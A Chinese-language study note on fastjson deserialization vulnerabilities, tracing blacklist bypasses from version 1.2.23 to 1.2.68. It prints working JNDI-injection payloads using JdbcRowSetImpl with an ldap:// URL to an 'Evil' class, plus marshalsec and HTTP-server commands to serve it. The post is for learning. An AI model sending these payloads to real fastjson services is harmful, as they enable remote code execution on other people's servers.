前言
了解了 java 基本的序列化机制 和 简单的反序列化攻击方式后 开始学习一下影响广泛的 fastjson 系列反序列化漏洞吧
fastjson
与 jdk 提供的序列化机制 即类与字节码的互相转化不同 fastjson 提供类和 json 字符串的互相转化 且有以下几个特点:
- 将 json 字符串反序列化为类时 会调用 setter 方法
- 类的没有 setter 方法的公有属性 能被正常赋值
- 类的没有 setter 方法的私有属性 需要开启 Feature.SupportNonPublicField 才可正常赋值
1 | // 序列化 |
v1.2.23
漏洞成因在于 如果被反序列化的 json 字符串带有 @type 字段 则其会被反序列化为指定的类 这就成为了 POP 链的起点
利用 JdbcRowSetImpl 类通过 ldap 或 rmi 服务加载恶意类
- RMI:
jdk6u123
jdk7u122
jdk8u113
之前 - LDAP:
jdk6u211
jdk7u201
jdk8u191
jdk 11.0.1
之前
1 | String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:4444/Evil\",\"autoCommit\":true}"; |
1 | java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:2333/\#Evil 4444 |
1 | python -m SimpleHTTPServer 2333 |
v1.2.41
网上的分析已经很多了 checkautotype 函数中增添了一个黑名单 如果传入的类名以黑名单中的类名开头则抛出一个异常
而在之后 TypeUtils.loadClass 函数中对以 [
开头的类名和以 L
开头 ;
结尾的类名进行了处理 方式是将以上字符替换为空字符 这就造成了对黑名单的绕过
1 | // 要求开启 autotype |
v1.2.42
这个在 checkautotype 之前先对类名进行了一次过滤 若 L
开头 ;
结尾则将其去除 所以可以双写绕过
1 | // 要求开启 autotype |
v1.2.43
如果类名开头为 LL
则直接抛出异常
1 | // 要求开启 autotype |
v1.2.45
通过第三方包的类进行 rce 完成对黑名单的绕过
1 | // 要求开启 autotype |
v1.2.47
通杀 payload 无论 autotype 开启与否
1 | String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:4444/Evil\",\"autoCommit\":true}}}"; |
关键在于 一个类名若是没有通过黑名单的校验 则会尝试从一个 mappings 中获取它 若其存在则依旧可以被反序列化 而这个 mappings 可以利用 loadClass 函数进行污染 注入恶意的类名
洞的修复方式为在 loadClass 的三个分支中均加入 cache 判断 且默认 cache 为 false
在这个版本之后 利用条件就在于当 autotype 开启时 利用不在黑名单里的类进行 rce 修复方式也就是在黑名单中不断添加新的类
v1.2.60
1 | // 要求开启 autotype |
v1.2.62
1 | // 要求开启 autotype |
v1.2.66
1 | // 要求开启 autotype |
v1.2.68
不同于单纯的黑名单绕过的新的 bypass 的思路
存在 autoTypeCheckHadnlers 的 通过其进行检测
既不在黑名单也不在白名单的类 满足以下情况可以被反序列化
存在于 mappings 中的类 也就是 v1.2.47 绕过的方式
使用了 jsontype 注解的类
其存在 expectclass 且 expectclass 不在黑名单当中
1
expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class
最终实例化的类在当前版本 checkAutotype 加入了对其父类和接口的黑名单
1
(ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz) || RowSet.class.isAssignableFrom(clazz))
所以当指定了 expectclass 时 可以反序列化一个既不在黑名单也不在白名单的类 这个类继承于👇
1 | Throwable.class; |
而反序列化类后会调用 setter 和 getter 方法 而 OutputStream 类是实现了 Autocloseable 接口的 所以我们可以反序列化出一个 OutputStream 类来 并寻找到存在 setter 方法或者构造函数往 OutputStream 中写数据的类 就可以打出一个文件写 具体可以看 这位师傅的文章
后记
这篇文章本来上周就应该弄好的 但是因为某大赛的原因拖了几天 关于 fastjson 反序列化的漏洞网上的分析很多 我也只是记录自己学习的笔记而已 有什么谬误的地方还请师傅们多包涵